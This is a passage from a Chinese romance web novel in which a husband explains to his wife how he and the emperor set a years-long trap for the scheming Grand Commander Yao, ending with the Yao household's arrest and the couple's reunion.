“你就不要再逗趣我了。”她跟沈景湛说要一个实话。 不想听他在这里七弯八绕的。 “我也想要听鸾儿的实话,你究竟厌不厌恶我,喜不喜欢我?” “这跟我问你的事情有关系么?” “有。”男人回得很快,他说有关系,有很大的关系。 “有什么关系?”祝吟鸾觉得很迷幻,已经是不知道要回沈景湛些什么了。 “因为我想要知道鸾儿是否在乎我,是否关心我,喜爱我,我想要得到你的肯定与回应。” 他便是再厉害,也不过就是个普通的男人,怎么会不想要得到喜爱的姑娘的回应呢? “若是我无法给你回应和肯定,你要如何?”她是好奇的语气。 男人却笑,“再接再厉啊,鸾儿以为我会自暴自弃么?人生道路何其漫长,我虽然喜欢与鸾儿争夺朝夕,却也” “也什么?”沈景湛说话停顿下来,祝吟鸾却没有顺着他的停顿一直在等。 “却也有耐心。” 他拉着她的手,触碰她的面颊,“我会持之以恒努力的。” 祝吟鸾,“” 触动心肠的一瞬间,祝吟鸾又忍不住在心中走神了片刻。 沈景湛这人,直接起来的时候相当直接,叫她不知道接些什么话茬,但他若是有心绕弯子,那也是相当相当厉害的。 否则,怎么会直到现在了,还是没有办法从沈景湛的嘴里套出来,她想要知道的事情? 反而被他牵着鼻子走,对他生出了怜悯的心思? 在祝吟鸾犹豫的期间,以退为进的男人又开始在她生出的怜悯之上“添油加柴”了。 “今日给我回话的下属说,鸾儿十分忧心我的安危,我听了很是高兴。” “你既然都知道我担心你的安危,做什么一直追着问。” 她似乎知道了沈景湛会说些什么,抢在他的前面,“你便是想要亲口听我说,也要顾忌一下,我作为姑娘家的面皮子,是薄弱的吧?” 她以前的确是面皮子薄弱,可现如今也不清楚是不是跟沈景湛在一处久了的缘故,渐渐也变得厚颜无耻了。 否则,若是放在很早之前,她根本就说不出来这一番话。 眼下即便是说出来,耳朵也略微红了。 “你洞察万事,基本上什么都可以猜得到,做什么还要一直逼迫我?” “鸾儿如今是真的越发近朱者赤近墨者黑了。”他忽而不逗趣她了,闷声笑出来。 祝吟鸾,“” “你又是在逗弄我?” “我可没有。”他竖起发誓的手势,跟她表示他绝无此意。 那你 他方才还尤其可怜的真情实意,现而笑得像是懒得伪装而露出尾巴的老狐狸。 “我对鸾儿的心意天地可鉴,日月可表。” “不如这样?”他拉着她的手不放,祝吟鸾想要挣脱,却又没有办法从他的指扣当中挣脱。 “我说一句真话,鸾儿也说一句真话?” 你来我往么? 这倒是有些意思,可是 祝吟鸾的脸上的忧虑很快就被沈景湛给看穿了,他告诉祝吟鸾,既然都已决定实话实说,他就不会玩弄心计权术。 祝吟鸾原本还想要些别的保障,一时之间又想不到,时辰不早,她也有些许累了,没有那么多的心力折腾,她就是想要快些确定下来沈景湛没事。 所以点头,“好。” “鸾儿先问吧。”知道她的耐心正在流逝,也 不逗弄她了。 “所以你到底有没有事情啊?”祝吟鸾问。 “我没事。”沈景湛道。 祝吟鸾盯着他看了一会,正当她还在想要不要接着往下问,这到底算不算一个问题的时候。 沈景湛接着道,“这不过就是一场局而已。” 又是一场局。 他怎么这么喜欢设局? 可这次的事情闹得那么大,牵扯了那么多的官员,上至被贬黜的太尉,下至京城街巷的三岁小儿。 “到底是怎么一回事,能同我说一说么?” 她想要知道全部。 沈景湛说好,他微微挪动了身子骨,没一会将人给扯起来。 经过这么一个周转,祝吟鸾又一次坐到了沈景湛的大腿之上。 这一次她没有再挣扎,因为她知道,就算是挣扎,沈景湛也未必会将她给放下来,索性就不吭声了。 主要的是,她想要快一些弄清楚最近发生的事情,否则难以安心。 “这件事情要追溯到多年以前。” “多久?”祝吟鸾好奇。 难不成要比沈景湛往祝家卫家插手的事情还要久远? 可事实如此,当沈景湛说出追溯到他被陛下选中送到太尉府上成为关门弟子的时候说起。 “不是公爹送你去拜老师的么?” “太尉教导过太子,世家大族的人即便是要请太尉的学,也不过就是去国子监蹭他的课业听听罢了,怎么可能真的塞入他的门下成为关门弟子,这是忤逆天家。” 这个想法,祝吟鸾一开始就有过——自从得知沈景湛拜入太尉门下,而太尉又教导过太子的时候。 没想到,她的顾虑当时沈家就顾虑到了,更没有想到,居然会是皇帝的授意。 “鸾儿以为当今陛下行事如何?” 议论到朝廷的事情,还说到了当今天子的头上,祝吟鸾的声音降得特别低,“勤政爱民,是仁君。” 正因为有当今圣上在,朝廷上面才没有那么多的纷乱,现如今天下也算是太平,很少打仗了。 不说是她这位后宅夫人,就连街头巷尾的妇孺都说当今陛下是好皇帝。 只是近些年,似乎身子骨不太好了。 “是啊,陛下不仅仅勤政爱民,他还高瞻远瞩,总是忧百姓之忧,思百姓之思。” “许多年前朝廷动荡,陛下察觉到苗头,便在暗中找人留意,发现与太尉有关,也就是当时的太子老师。” “可那会还只是太子老师的太尉门生众多,别说是京城,就连天下几州郡都认为太尉是个谦逊好官。” 沈景湛说到这里,祝吟鸾忍不住在心里想,她不了解朝廷的事情,说实话,她截止嫁入沈家之前,都一直认为姚太尉是个为国为民的好官,谁知道私底下,竟然是这样的? “其中盘根错节,朝廷的根基不稳,唯恐动荡得厉害,便不能够声张。” “后来呢?”祝吟鸾听得认真。 “圣上本就有意要挑人作为卧底去肃查姚家,可一直没有决断,当时选中了高门几家,但都不敢轻易托付。” “因为朝纲不稳,时局动荡,高门侯爵世家皆手握兵权,若是不堪托付,跟姚家的人勾结起来,鸾儿想想,一文一武,陛下要如何自处?” “所以后面又是怎么挑到了沈家?”祝吟鸾问。 说是一人一句真话,倒是沈景湛一直在说。 她略微走神,却没有打断沈景湛。 他没有提过往她跟他发生的那些事情,只说他科举高中状元以后,被提拔到御前。 陛下让他去处理御史台的案子,而后又将他派出征平乱,待一切稳定下来之后,让他去掌三省其一的中书令,监管御史台。 沈景湛没有直接回答她的问题,她却已经明白了,皇帝之所以选沈家,必然是早就留意到了沈景湛,让他去御史台,出征平乱,加封掌中书令,都是为了考究他。 沈景湛能用,也堪挑起大梁,皇帝便也能够放心了。 他被皇帝安排到太尉的跟前,与之亲近,除却是在太尉的身边放一个卧底,也是变相给太尉添“脸面”,让众人知道太尉的地位是不可动摇的,从而看看朝廷当中有多少人心思不正?借此巴结太尉。 不得不说,这其中所有,还真是错综复杂啊。 京城众人当初只见到沈家的显赫,沈景湛的出色,他与太尉之间的师生情谊,却没有想到居然是帝王的部署,目的是为了肃清朝纲。 祝吟鸾想着想着,不知不觉当中居然开口捋清了这些利害关系。 等她回过神想要闭嘴的时候,沈景湛的面上带着笑意夸赞她,“鸾儿真厉害,许多朝臣都看不清的东西,你一针见血便指出来了。” 祝吟鸾被他夸得略微羞赧她道,“我不过就是胡乱揣测,并不能够作数的。” “怎么不能够作数?”沈景湛说她讲的全都是对的。 “那当初殿试泄题一案,果真是太尉身边的人做的么?” 她记得这件事情算是一个导火索了,沈景湛那时候被急匆匆叫走,至此忙得不可开交。 她都以为是朝廷出事,那时候她也在想,说不定就是太尉手底下的人搅了乱子,这件事情跟太尉没有什么干系。 是后面沈老太太几次跟她说,姚家并不无辜,她才隐隐约约之间,觉得这件事情很有可能并不简单。 直到太尉被革职,京城当中的人闹得厉害,还有人为太尉掀竿起义,就好像朝廷,皇帝污蔑了太尉一般。 “是也不是。”沈景湛这么说。 不等祝吟鸾问,他已经跟祝吟鸾解释清楚了事情的原委。 说事情已经查得差不多了,原先盯着太尉一党的人早就来禀告了此事。 说原先太尉手下的人的确是打算这么做的,但最后又被按下了,这件事情太尉不准。 他就使了一点小绊子,诱了那人欺上瞒下,背地里偷偷做了这件事情。 祝吟鸾懂了。 太尉一开始知道底下人要搞小动作,在事情发生之前制止了,可沈景湛和圣上觉得这是一个时机,便使了一点手段。 所以,太尉的确也是懵的。 “那后来就是顺着这件事情查过去了么?”祝吟鸾大概懂了。 “是,顺理成章。”沈景湛颔首。 “因为早就准备,太尉一党措手不及,翻不起风浪,便想要搅动京城民心所向,企图以天下人之口舌,掀起民愤,围攻皇城。” “只可惜父亲和另外几位世家侯爵的镇国将军,早已受命去肃查奸细。” 这一环接着一环。 祝吟鸾隐隐约约之间觉得头皮有些许发麻。 “那祝家和卫家的事情陛下也知晓么?”沈景湛就在其中弄权了。 “知道。” “祝家和卫家也是其中的一环么?” “是。”沈景湛看着她的脸,祝吟鸾与之对视,这一 刻她的心里莫名其妙有些乱,竟不知道应该说些什么为好。 若祝家和卫家是其中的一环,外头人说的都是假的,她发觉的都是假的吗? 沈景湛对她的喜爱也是假的? 他的偏执,他的占有,他的疯狂,他的变态,他所有想要彻底掠夺她的阴暗,都是假的? 这一刻,她不是应该如释重负么? 可她为何开始难过,对,本来还想要用失意掩饰,但她甚至掩盖不了,就是失落,就是觉得痛苦。 心里好是难受。 “鸾儿在想什么,脸色竟然如此苍白?”他捏她的面颊,摩挲着她的腮帮子。 感受着触感之上的嫩滑。 “你还没有回答我的问题。”他到底是真心还是假意? 祝吟鸾在这一刻忽而觉得她很虚伪,她没脸说沈景湛,她有什么脸面说沈景湛,分明是她更在意,她也是阴暗。 她一直觉得沈景湛恶心,难道她就不恶心了么? 沈景湛可以将喜欢她,想要得到她的心思直言不讳,可她却总是遮遮掩掩,躲躲藏藏,这样的自己,她也非常的厌恶。 他的阴暗尚且能够袒露在人前,可是她的呢? 祝吟鸾不知道说些什么为好。 思及此,她越发觉得难堪起来,就连神色也隐隐不自在。 “祝家和卫家主要是因为我的私心。” “不是设计当中的一环吗?”他方才都说了,此刻却又转回来,是为了安抚她么? 祝吟鸾都不知道是不是沈景湛看穿她表面的镇定了,故意这样跟她说? 她的心思有些许飘忽。 “要得到鸾儿私心是最主要的,其次才是朝政。” 他的一句话叫她心中愉悦,可是又很快被她给压下去了。 “我不相信。”她转过脑袋,白嫩的侧脸紧绷。 看着像是生气,可真的生气了么? 男人瞧着她生动的模样,微微侧过头,追随她的动作而去。 两人视线对上。 他的深邃,她的澄澈。 无形当中同陷入幽暗里去,形成了不可言喻的 藕断丝连的 绵密以及怎么都化不开的粘稠。 “”【你现在阅读的是 】 【正文完】 第97章 第97章“我只属于你,只…… 祝吟鸾都不清楚,好端端说着话,如何就吻到了一起。 等她回过神来,人越发贴坐在沈景湛的大腿上面,比起适才还要更过分一些。 他吻得轻柔,她也浅浅回应着。 有时候过分的深入亲吻,还不如眼下的耳鬓厮磨。 吻得轻柔婉转,好似两只正在互相.舔.舐的猫。 可沈景湛不是猫,他是老虎,不过是眼下温驯下来了而已。 很快,在男人的大掌抚上她的后脑勺,逐渐要加深这个吻的时候,祝吟鸾已经察觉到他的意图。 于是两只手推拒他的肩膀,拉开了两人之间的距离,气息不稳,面色酡红。 “不、不能继续亲了。” 事情闹到现在都还没有彻底说清楚呢? 如何能够继续亲下去? 男人的大掌最终还是没有爬上她的后脑勺,只是在她的后颈处停留,看似温柔的摩挲,却透露着无尽的强势。 祝吟鸾觉得再进行下去就相当危险了。 因为她已经感受到了令人恐惧的强势,散发着比夏日更为炎炎的灼热。 “好了好了。”她背过身,也没有拿帕子就是用手背擦拭着她湿.润,泛着水泽的唇角。 “你还没有跟我说清楚呢。”还有许多事情她都不知道。 怎么一说到祝家和卫家就变成了这样。 分明只是对视而已啊。 略微亲亲就是了,怎么还想要伸.舌.头吗? 思及此,祝吟鸾,自己都面红耳赤。 当真是跟沈景湛在一处久了,她不仅仅是说话变得直接,就连心中都隐隐约约变态起来了。 若是放在以前,她哪里会在心里这样想? 怕沈景湛又问,祝吟鸾很快将心中的绮念给压制下去。 “你说卫家和祝家是是你的私心,重于朝政,怎么可能?” 沈景湛把问题给抛回来,反过来问她怎么不可能? “你这样说,陛下怎么可能会应允?” 沈景湛原本想要抚摸她,可又害怕碰了过分了,又挣扎,毕竟好不容易才又把人给捞到腿上抱着说话没一会。 可不能够让怀里的小狐狸,就这么故意接着巧劲偷偷溜走了。 他不允许这样的事情发生。 思及此,沈景湛越发揽着她的腰肢贴入她的怀里。 祝吟鸾抓着桌沿,纤细的脚踝在空中晃荡。 “你莫要如此——”她催促他。 挣扎的话尚且没有说完,沈景湛却在这个时候转移了她的注意力。 “姚太尉在朝为官多年,其远见魄力手腕,自然是不必多说的。” 这倒也是,姚太尉在当年可是响当当的人物。 这几年是侯府沈家为京城世家之最,放到之前那就是姚家了。 可后来姚夫人生不出来,姚太尉又不愿意另娶,底下没有小妾姨娘,当初他找上沈景湛,不仅仅是想要一个女婿,还想要一个“接”姚家势力的人。 沈家家世不低,沈景湛高中入仕的科考成绩比姚太尉当初都还要高,年岁比他更小,再也没有比他更适合的人了。 “所以,你和姚小姐真的有议论过亲事?” 祝吟鸾是想要以认真讨论的口吻说起这件事情,可不知为何,脱口而出便莫名其妙酸溜溜的了。 不仅仅是男人听到了,就连她自己也感受到了不对劲,于是她轻咳一声,“我没有别的意思” 张口不知道说什么,就来了那么一句,反而显得欲盖弥彰,除此之外也没有别的办法。 沈景湛没有继续逗她的趣味,因为他知道,若是再过分一些,祝吟鸾定然是要恼怒了。 过犹不及,点到为止就好。 在继续说这件事情之前,沈景湛同祝吟鸾解释,“鸾儿放心,我对姚姿没有任何的情意,我此生只属于鸾儿。” 什么叫他只属于她? 祝吟鸾嘴上嘟喃着一句没脸没皮,心里却莫名其妙蔓延上了喜滋滋的情绪。 沈景湛也没有继续这个话茬,他说回正事上,“若是天衣无缝到没有破绽,那必然会引起姚太尉的怀疑。” “他既然一开始就盯上了我,陛下的意思是将计就计。” “然后我便顺势向陛下趁机陈情了我的私心。” “你的私心?” 是她吗? 祝吟鸾的心里冒出疑虑,但整个人已经有了很明确的答案,沈景湛所说的这个人就是她,没有别人。 他的目光已经看向她了。 “我告诉陛下,我想要鸾儿。” 也说清楚,这件事情或许可以借着祝家和卫家做文章。 “若是我不露出一些破绽,不展露私心,如何能够混淆视听,迷惑从众?” 先前听着她便觉得头皮隐隐发麻,眼下脑子都有些许晕乎了,朝堂的水未免也太深了吧? “祝大人胆小,在他维持之下的祝家看似什么都不沾,但心中早就想要搭上太尉的船,不过还在见风使舵,可他的嫡子祝鸣生这些多年背着祝大人私下里已经跟太尉有所往来。” “我之所以提携他入三省,是顺承三方的意思。” 三方。 祝吟鸾问,“你说的三方,是不是祝家、姚家、还有陛下?” “对,鸾儿厉害,全都猜对了。” 难怪当时祝大人求上门,她拉着沈景湛的衣衫让他不要再去管再去掺和这件事的时候,他跟他说这件事情已经开始了,执棋的人不只是他一个人。 竟然是这个意思,原来是这个意思。 祝家的人为棋子,姚太尉在前试探观棋,沈景湛为执棋的人,背后的主使是皇帝。 祝鸣生提上去以后,姚太尉便觉得沈景湛帮他办了一件事情,除此之外,也像是掌握住了沈景湛的把柄,对沈景湛更放心了一些。 等着她自己反应过来,差不多了,沈景湛才接着道,“至于卫家那一边,礼部尚书马其昌明面上跟太尉没有什么交集,实际上却是往来亲密。” “骆家呢?” 提到礼部尚书,祝吟鸾想到卫如琢竞选礼部尚书的位置失败了,说是变成了骆家的人上位? “骆家清白,并无问题。” “否则鸾儿以为骆暄为何会在工部屯田司盘踞那么多年?” “真的是难以晋升上去了。”沈景湛告诉她不是那么好升的。 “可礼部尚书不是已经致仕了么?”祝吟鸾疑问。 这件事情她也是有所耳闻的。 “是陛下的旨意,且让太尉的人放松警惕。” “难怪你查泄题的案子查了那么久。”其中居然隐藏那么多的弯弯绕绕。 “后来呢?”祝吟鸾又问。 “后来的事情要明日再说,若是不出意外的话,明日会有姚家的帖子送上门,遍请各家的女眷去姚家做客,且多是武将人家的女眷。” 祝吟鸾听到后面瞬间明白,“是要以重臣的家眷挟持么?” “是。”沈景湛告诉她,“鸾儿不必去,你就在府上。” “我若是不去,婆母岂不是要去?” 沈夫人待她很好,她不希望沈夫人出事。 “不如我陪同婆母去吧?”沈景湛既然已经提前预料到了这件事情,必定全都做好了保障,她相信他,不会出事。 “也可以,鸾儿去那边玩玩就是了,权当看看戏。” 果然,听着沈景湛的语气就知道没事了。 “既然你都想得那么周全了,那二房那边沈嘉显的事情也是骗人的了?” “当初流放他出去,的确是看不顺眼,但沈嘉显纨绔,也正好可作为幌子,以游玩之名,监察边疆的部族。” “他和少首领又是怎么回事?外面的人说得有鼻子有眼睛的。”祝吟鸾说。 “昔年我平乱,鸾儿以为边部为何这么多年都没有再起祸乱?” 祝吟鸾的脑子已经有些转不过来了,好半天,她来了一句,“因为你厉害?” 听到这句话,沈景湛实在是忍不住笑出声了。 祝吟鸾本来只是轻咳一声,后知后觉,十分的尴尬。 沈景湛凑近她,在她的脸上亲了一下,“嗯因为我厉害。” 祝吟鸾,“快些说罢,我有些困了。” 听了这么多,她心里的大石头已经差不离落地了,明确了沈景湛不会出事,她倒也不怎么担心。 “因为我往四处的边部都塞了一些人,扶持了一些人,让边部的人互为对恃的局面。” “沈嘉显所去的边部正是兵力最乱也最盛的地方,太尉一.党.想要彻底起势,定然得往那个地方下功夫了。” 虽然说姜还是老的辣,但沈景湛实在是太算无遗漏了。 几乎把姚太尉每一步都给算尽了。 他不过就是在姚太尉身边几年而已,能够做到如此地步,想必不仅仅是摸清楚姚太尉的脾性吧? 就连他所有的行事,沈景湛全然一清二楚了,这简直是完完全全的监视了。 “如此,鸾儿可放心了?”见她不说话了,沈景湛挑眉问。 祝吟鸾看他好几眼,看着男人俊逸含笑的面容,的确是安心。 难怪外面都闹成那样了,沈家的人依旧纹风不动,想必是各房的亲长都叮嘱过了。 “纵然如此,你怎么不早告诉我?” 她咬唇,也不再隐瞒,“你知道我今日有多担心你出事么” 声音虽然很低柔,但是足以让沈景湛听清楚了。 “你出门许久没有音讯,我过沈家来的时候,家里的人虽然都说你没事,可我依然放不下心。” 虽然打牌的时候转移了一些注意力,却也还是惴惴不安。 “都怪我不好,我应当早些向鸾儿说明情由,下不为例好不好?”他耐心哄着她,跟她说话。 祝吟鸾虽然已经听到了心里去,但嘴上依然没有饶人,她反问沈景湛,“这样下不为例的话,你都说过多少次了?” 她自己也很清楚,事情牵扯广泛,既然涉及朝政,自然是以保密为妙了,却也是忍不住埋怨。 似乎就是想要闹一闹,体会有他哄着的感觉一般。 原来无理取闹,恃宠而骄是这样的感受? 很奇妙。 她正走神想着,沈景湛已经说,“不如鸾儿惩罚我可好?” “惩罚我对你隐瞒,不尊你的意愿?” 都已经说开了,他还非要攀扯什么惩罚。 祝吟鸾忍不住,“你是不是就想让我打你?” 男人认真颔首,“嗯。” 祝吟鸾,“” “被女子掌箍,你就不觉得屈辱么?” 他也是顶天立地的天子近臣了,被她一个女子打,还是打在脸上,难道他就不觉得羞耻。 居然还沾沾自喜,是的,上一次给沈景湛打爽了不说,他甚至还有些许沾沾自喜的。 脸上的药也上得不认真,顶着巴掌印就过去侯爷侯夫人那地方用早膳,只怕侯爷侯夫人都已经看出来他脸上的痕迹了,就是当时没有声张而已、 都不用过分认真的联想,几乎都可以猜到沈景湛脸上究竟是何人所为,还能是何人,自然是她了。 思及此,祝吟鸾想到这次回来以后,沈夫人对她的转变,似乎没有什么芥蒂了。 索性就问了沈景湛,是不是他在其中又动了什么手脚? 若说是因为不能够再纳小房,否则就罢官削爵的事情,那当初的饭桌上她也是在的,沈夫人那会子的态度可是生气。 可是她跟着沈景湛出去也有好些日了。 沈夫人一反常态,忽而对她十分的挂念,前几日来不及深想,现在她就是忍不住要问一问。 “这样不好么?”沈景湛问她,“母亲如此对鸾儿不好么?” “婆母待我很好,但我还是想要知道婆母转变的缘由在何处?” “过了玺印的信笺在我的手上,我很确信婆母没有看到这个东西,莫不是你与她说了么?” 可即便是说了,她这应该是属于仗着玺印的信笺“有恃无恐”? 沈夫人应该是厌恶她的才对,怎么反倒是对她爱怜起来了呢? “因为父亲把一切都告诉了母亲。”看她实在好奇,沈景湛倒是也没有隐瞒。 “母亲大抵觉得亏欠了鸾儿,所以对鸾儿越发上心。” “亏欠?”祝吟鸾捕捉到一个很紧要的词儿。 “是啊。” “我对鸾儿太混账,用尽心机把你抢到手上,又叫你怀孕,母亲知道了可不是恼怒。” 祝吟鸾听他这么说,皮笑肉不笑,“原来夫君也觉得自己很过分。” 沈景湛捏她的脸,轻声笑了一下,“是有些。” “但不择手段得到自己喜爱的,我不觉得有错。” “若是再来一次,我也还是会这么做。”他明明白白告诉祝吟鸾,一双眼就这么盯着她,彰显着他对她的势在必得。 被男人看得面皮子发热,祝吟鸾连连道了好几句,知道了,让他不要再说了。 沈家不仅仅是门第高,就连她想象当中的尔虞我诈,争锋相对也没有。 或许是有的,但沈景湛给她的宠爱和尊荣,以及重视实在是太多了,故而众人不敢轻怠她。 “好了,我要去沐浴了。”说了许久的话,祝吟鸾挣扎着要下去,沈景湛抱着她的腰身,将她整个人给带走了。 祝吟鸾掐着他的肩膀。 没想到沈景湛直接把她给抱了起来,就跟刚才一样,却又不太一样了。 沈景湛揽着她的肩膀,“我抱着鸾儿去沐浴。” “我不要你,我要明芽。” “不准。” 即便是她已经怀孕了,身量比之前要重不少,可沈景湛还是轻而易举将她给扛了起来。 “不准要别人,只能要我。” 祝吟鸾拍打他的肩膀,即便是沈景湛已经刻意放松了肌肉,可他浑身的肌肉都硬邦邦的,实在是把祝吟鸾的手打疼了。 “打!”他笑着叫她用点力气,若是手疼,他给她找鞭子来。 问她喜欢什么颜色的玉鞭? 祝吟鸾面红耳赤,“沈景湛!” 他声音那么大,外面的小丫鬟们只怕都听到了吧。 可一句惊呼出去以后,祝吟鸾发现她的声音似乎要比他的都还要大。 “” 她沉默下来的间隙,沈景湛已经抱着她入了内室。 她方才坐稳,就被沈景湛给抓到了怀里,掐着腰身,捏着后.颈.吻了下去。 她要说话,可是沈景湛的力气实在是太大了,直直将她整个人给包裹住了。 所有的气息都给封存,只能从他的空中夺得一线喘息之机。 小丫鬟们听着里面发生的动静,谁都没有说话。 “” 翌日,祝吟鸾醒来的时候,沈景湛不在府上了。 如同她所料,姚家的人下了帖子。 拜帖上面写的是请各家去吃答谢宴,姚夫人如今养得好了一些,所以叫人筹备了饭菜了,遍请京城高门的夫人。 祝吟鸾过沈老夫人那边去。 她还没有说话呢,沈夫人问她昨日沈景湛是不是都跟她说明原委了? 祝吟鸾颔首,“夫君说了。” “他说媳妇若是在府上也可以,要觉得无趣也可以瞧瞧戏。” 沈老太太合上拜帖,笑了。 “和你婆母去吧,你在家也是闷,出去转转也好,这其次嘛。” “作为世子少夫人,将来听澜袭爵,你便是侯夫人,这些风浪总要去会会的,多经事,方才好处事。” “孙媳谨记祖母的教诲。” “嗯。” 过去的路上,原本有些紧张,但有着沈夫人陪同,后面跟着沈景湛派来的人,其中还有不少暗卫高手。 她竟然一点不慌了。 沈夫人看她波澜不惊的脸色,笑着夸她,“当年我如你一般大的时候,也没这个魄力。” “婆母谬赞了。”祝吟鸾讲她不敢当。 “这里没有外人,不必谦虚。” 沈夫人反问她知不知道郭老王府近来发生的事情? 祝吟鸾微微惊讶,对于这事,她还真的不知道呢。 所以到底是怎么了? 发生什么事情了? “郭王府看似富贵,实则早就像是空壳子,如今也随了姚家,这次过去若是可能,你还会见到你那个姐姐。” “你要跟紧我。”沈夫人叮嘱。 “媳妇知道了,婆母您放心。” “嗯。” 姚家祝吟鸾还是头一次来,当真是显赫,完全不输给侯府沈家,院子表面看着清雅,实际上要比沈家更奢华。 姚虽然气色好了不少,却也是要卧榻,根本就起不来,而且说不了多少话,姚姿就在她的旁边陪同,帮她接见各家贵妇,与之周旋说话。 祝吟鸾看着姚姿,她憔悴了许多,人也消瘦了。 沈景湛说得对,今日过来的多是一些文官之首的夫人,武将世家全都到了。 在这些贵妇面前,祝吟鸾算是小辈,她基本上没怎么说话,见了礼之后,就一直坐在沈夫人的旁边,默默听着。 期间,她多番感受到了姚夫人投过来的目光。 祝吟鸾有一会抬头看去,甚至都跟她对视上了。 这姚夫人瞧着倒是慈和,但她的眼神难以掩饰精明犀利。 纵然是弱了下来,依旧能够让人感受到她昔日的厉害。 说了会子话,便要挪步正厅去用膳了。 但在挪步期间姚夫人还是起不来。 没有办法了,只能让姚姿陪同,期间,姚姿走到祝吟鸾的身侧,悄声跟她说,“少夫人,姚家近来不太平,少夫人有着身孕,不要擅自走动。” 祝吟鸾疑惑,她这是什么意思? 她看过去的时候,姚姿又笑着说,“我不会害少夫人的。” 再然后姚姿便去引旁的贵妇入座了。 姚姿说话低声,就连前面走着的沈夫人都没有听见,祝吟鸾心存疑虑,却是什么都没有说。 今儿还真是要看了一场戏,这流水的宴席,旁边设有评弹小曲,就在那吱吱呀呀唱着。 祝吟鸾本来就爱听戏,这姚家的流水席面做得不错,她吃了不少。 因为用膳用得无比专心,所以很快就饱了。 正小口喝着酸梅汤,听着戏。 今儿和她想象中的不太一样,原以为过姚家来会发生什么不太平的事情,可也没有。 这宴会散了,各家只怕都要离开了。 只是不知道沈景湛那边还顺不顺利? 正当祝吟鸾缓了一会,上来添菜的小丫鬟不小心碰到她的手肘,酸梅汤泼到了她的裙子。 这小丫鬟连忙道歉说对不住,请她过去更衣。 这边的动静不大不小,却也吸引了不少人的主意,祝吟鸾瞧了一眼,她往日很小心,这小丫鬟过来的时候她也躲闪了,只是泼了一两滴酸梅汤而已。 到底用不上去更衣,只是这小丫鬟 祝吟鸾想到方才姚姿所说的话,不动声色朝着她那边看了一眼,然后道,“没有碰到,是你眼花了。” “可是——”小丫鬟还要再说,祝吟鸾直接拿出了威严,“你下去吧,不要在这里影响我看戏。” 她难得这样同小丫鬟说话,语调虽然温软,但噙着不容置喙的强势,居然莫名有些像沈景湛的 这个小丫鬟还是不愿意走,那头沈夫人已经发觉了异样看过来。 没有办法,小丫鬟便只能离开了。 祝吟鸾察觉到了宁静之下的暗流涌动,沈夫人问她怎么了? 她凑过去跟沈夫人道清原委,沈夫人听罢,安抚拍了拍她的手背,递给她一个安心的眼神。 对面的贵妇瞧见两人之间的动作,笑着说沈夫人真是疼媳妇,完全就是当成自家姑娘了。 沈夫人大方笑着回夸过去,而后又道祝吟鸾的好处,说合该疼的。 早就知道沈家人接纳了祝吟鸾,此刻亲耳听到沈夫人的赞许,又忍不住朝着祝吟鸾看了一眼,在心中觉得她厉害,没什么背景身家,居然能够在京城站稳脚跟。 说笑之间,忽而听到外面传来急促的脚步声,祝吟鸾心里暗道不妙,原以为要出事。 却没想到,不是她想象当中要来挟持人的官兵,而是宫内的人,后面跟着御林军。 众人一头雾水,再顾不上吃饭了,纷纷起身。 “姚家人接旨!” 虽说是姚家的人,可在做的所有人全都跪了下去。 “奉天承运,皇帝诏曰,姚家上下忤逆不孝,勾结外贼,企图谋权篡位,叛逆外贼等人现已在京城玄武门拿下,特封姚家府邸,关押所有女眷,听候发落!钦此!” 没想到,事情居然变成了这样? 这才是沈景湛要叫她来看的戏,祝吟鸾下意识朝着姚姿看去,她跪在地上,窥不见神色,但侧脸苍白,至今维持着那个动作。 “” 受邀前来的贵妇人欢欢喜喜来,议论纷纷,骂骂咧咧地走了。 回到沈家,祝吟鸾依然没想到,姚家府上安宁,外面居然出了那么大的乱子。 可转念想想,沈景湛已经做了那么多的准备,太尉一党人的准备都已经被知晓了。 还能够翻出什么风浪来? 无非就是走个过场罢了,却也还是忍不住叫人唏嘘。 接下来,因为姚家太尉一党的事情牵连,京城的天在一个晚上又变了。 从那日起,沈景湛忙得几日不曾归家。 人虽然没有回来,他却总是给她送信笺,松糕点,让她放心养胎。 祝家、朱家、卫家彻底被查了,除此之外还有很多世家,不论大小。 再听到这三家的消息,已经是被问斩的消息 了。 祝吟鸾只是顿了一下,到底什么都没说。 当今陛下出手果决,这一招釜底抽薪,差不离把朝廷之上的所有人都给换了。 祝吟鸾也清楚了当初沈景湛为何授意祝家和郭王府往来,就是为了叫当今圣上,顺理成章拔除郭王。 朝廷这一局埋伏了几年,一朝根除,的确是伤了元气,却也更了气象。 该处置的人已经严惩不贷,加封的自然不能少,沈景湛加官进爵,祝吟鸾和沈夫人都得封了诰命,尤其是祝吟鸾。 沈景湛用己功劳给她换了一个诰命不说,还得了封号,名为摘月夫人。 京城上下,无不艳羡,这可是天子赏赐啊。 却也是只有艳羡的份了。 “” 将近年关,沈景湛终于忙完归家了。 今日前来宣旨的内官才走。 差不离一月多没见,隔着垂花门看去,祝吟鸾远看着他似乎清减了不少,可面庞却越发俊逸。 她快步上前去迎他,沈景湛的速度却比她更快。 他捞住她的腰肢,将她紧紧抱住,长呼一口气。 “鸾儿,我回来了。” “嗯,我一直在等你。” 跟在后面原本要叫祝吟鸾慢些的沈夫人和小丫鬟们,瞧着两人相拥到一处的身影都忍不住笑了。 “” ——正文剧情完。【你现在阅读的是 】